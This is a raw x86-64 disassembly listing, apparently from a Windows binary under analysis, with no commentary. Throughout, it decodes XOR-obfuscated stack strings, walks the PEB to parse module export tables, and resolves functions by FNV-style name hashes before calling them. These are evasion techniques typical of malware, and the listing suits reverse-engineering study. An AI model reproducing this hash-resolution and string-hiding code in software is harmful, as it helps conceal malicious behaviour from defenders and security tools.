movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0xbb8
call rdx
jmp 0x140014930
lea rcx, [rbp + 0x16b8]
call fcn.140003fc0
nop word [rax + rax]
call fcn.140003ef0
xor ecx, ecx
call fcn.140003f60
movzx ebx, byte [rsp + 0x30]
movzx edi, byte [rsp + 0x30]
movzx esi, byte [rsp + 0x30]
movzx r14d, byte [rsp + 0x30]
movzx r15d, byte [rsp + 0x30]
movzx r12d, byte [rsp + 0x30]
movzx r13d, byte [rsp + 0x30]
movsd xmm0, qword [str.eXTLNRSS_]
movzx ecx, byte [0x14008e310]
movsd qword [rbp], xmm0
mov byte [rbp], 0x53
xor byte [rbp + 1], 0x37
xor byte [rbp + 2], 0x38
xor byte [rbp + 3], 0x39
xor byte [rbp + 4], 0x3a
xor byte [rbp + 5], 0x3b
xor byte [rbp + 6], 0x3c
xor byte [rbp + 7], 0x3d
xor cl, 0x3e
mov byte [rbp + 8], cl
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x14000570b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000570b
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x1f3d45a6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005701
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400056e0
cmp r8d, 0x23936a0a
je 0x140005710
test r9d, r9d
mov rdx, qword [rsp + 0x40]
jne 0x1400056c0
mov rax, qword [rax]
jmp 0x140005690
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp]
call rdx
mov rax, qword [str.UXTVHeYb]
mov qword [rbp - 0x20], rax
cmp byte [0x14008e5af], 0
je 0x140005890
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000584f
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm2, xmmword [0x14008e970]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e990]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
mov eax, dword [0x14008e9c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x20]
xorps xmm2, xmm1
movd dword [rbp - 0x20], xmm2
movdqa xmm3, xmmword [0x14008e980]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e990]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x1c]
xorps xmm2, xmm1
movd dword [rbp - 0x1c], xmm2
jmp 0x140005890
lea r9, [rbp - 0x20]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140005860
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x14000592b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000592b
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xb044e5ae
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005921
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005900
cmp r8d, 0xca37830f
je 0x140005930
test r9d, r9d
mov rcx, qword [rsp + 0x40]
jne 0x1400058e0
mov rax, qword [rax]
jmp 0x1400058b0
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp - 0x20]
call rdx
mov eax, dword [0x14008d574]
mov dword [rsp + 0x5c], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140005a30
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400059f0
movdqa xmm3, xmmword [0x14008e970]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14008e9d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14008e9d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14008e990]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14008e9c0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x5c], xmm2
jmp 0x140005a30
lea r9, [rsp + 0x5c]
xor r8d, r8d
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140005a00
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x140005acb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140005acb
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa54295c6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005ac1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005aa0
cmp r8d, 0x747419c7
je 0x140005ad0
test r9d, r9d
mov rcx, qword [rsp + 0x40]
jne 0x140005a80
mov rax, qword [rax]
jmp 0x140005a50
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x5c]
call rdx
movups xmm0, xmmword [0x14008d3d8]
movups xmmword [rbp + 0x1040], xmm0
movups xmm1, xmmword [0x14008d3e8]
movups xmmword [rbp + 0x1050], xmm1
movups xmm0, xmmword [0x14008d3f8]
movups xmmword [rbp + 0x1060], xmm0
movsd xmm0, qword [0x14008d408]
movsd qword [rbp + 0x1070], xmm0
mov eax, dword [0x14008d410]
mov dword [rbp + 0x1078], eax
movzx eax, byte [0x14008d414]
mov byte [rbp + 0x107c], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140005c95
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1044]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140005b90
cmp r8d, 0x3d
jge 0x140005ce0
movsxd rax, r8d
lea r9, [rbp + 0x1040]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3d
jl 0x140005cb0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x140005d7b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140005d7b
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0xa62243ae
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005d71
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005d50
cmp r8d, 0xebc9b60d
je 0x140005d80
test r9d, r9d
mov rdx, qword [rsp + 0x40]
jne 0x140005d30
mov rax, qword [rax]
jmp 0x140005d00
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x1040]
call rdx
movups xmm0, xmmword [0x14008e470]
movups xmmword [rbp + 0xf80], xmm0
movups xmm1, xmmword [0x14008e480]
movups xmmword [rbp + 0xf90], xmm1
movups xmm0, xmmword [0x14008e490]
movups xmmword [rbp + 0xfa0], xmm0
movsd xmm0, qword [0x14008e4a0]
movsd qword [rbp + 0xfb0], xmm0
movzx eax, word [0x14008e4a8]
mov word [rbp + 0xfb8], ax
movzx eax, byte [0x14008e4aa]
mov byte [rbp + 0xfba], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140005f45
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xf84]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140005e40
cmp r8d, 0x3b
jge 0x140005f90
movsxd rax, r8d
lea r9, [rbp + 0xf80]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3b
jl 0x140005f60
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x14000602b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000602b
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa349fab9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140006021
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006000
cmp r8d, 0x8dc23d16
je 0x140006030
test r9d, r9d
mov rcx, qword [rsp + 0x40]
jne 0x140005fe0
mov rax, qword [rax]
jmp 0x140005fb0
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xf80]
call rdx
movups xmm0, xmmword [0x14008ddf0]
movups xmmword [rbp + 0x238], xmm0
movsd xmm0, qword [0x14008de00]
movsd qword [rbp + 0x248], xmm0
mov eax, dword [0x14008de08]
mov dword [rbp + 0x250], eax
movzx eax, word [0x14008de0c]
mov word [rbp + 0x254], ax
movzx eax, byte [0x14008de0e]
mov byte [rbp + 0x256], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400061e5
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x23c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400060e0
cmp r8d, 0x1f
jge 0x140006230
movsxd rax, r8d
lea r9, [rbp + 0x238]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140006200
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x1400062cb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x1400062cb
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xaabc6a36
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400062c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400062a0
cmp r8d, 0x80329215
je 0x1400062d0
test r9d, r9d
mov rcx, qword [rsp + 0x40]
jne 0x140006280
mov rax, qword [rax]
jmp 0x140006250
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x238]
call rdx
movups xmm0, xmmword [0x14008e4b0]
movups xmmword [rbp + 0x810], xmm0
movups xmm1, xmmword [0x14008e4c0]
movups xmmword [rbp + 0x820], xmm1
movzx eax, word [0x14008e4d0]
mov word [rbp + 0x830], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140006467
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x814]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140006362
cmp r8d, 0x22
jge 0x1400064b0
movsxd rax, r8d
lea r9, [rbp + 0x810]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140006480
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x14000654b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000654b
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x9c4e753c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140006541
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006520
cmp r8d, 0x89900947
je 0x140006550
test r9d, r9d
mov rcx, qword [rsp + 0x40]
jne 0x140006500
mov rax, qword [rax]
jmp 0x1400064d0
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x810]
call rdx
movups xmm0, xmmword [0x14008dad8]
movups xmmword [rbp + 0x888], xmm0
movups xmm1, xmmword [0x14008dae8]
movups xmmword [rbp + 0x898], xmm1
movzx eax, word [0x14008daf8]
mov word [rbp + 0x8a8], ax
movzx eax, byte [0x14008dafa]
mov byte [rbp + 0x8aa], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400066f5
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x88c]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400065f0
cmp r8d, 0x23
jge 0x140006740
movsxd rax, r8d
lea r9, [rbp + 0x888]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140006710
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x1400067db
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x1400067db
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x8b283bd2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400067d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400067b0
cmp r8d, 0x2d830839
je 0x1400067e0
test r9d, r9d
mov rcx, qword [rsp + 0x40]
jne 0x140006790
mov rax, qword [rax]
jmp 0x140006760
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x888]
call rdx
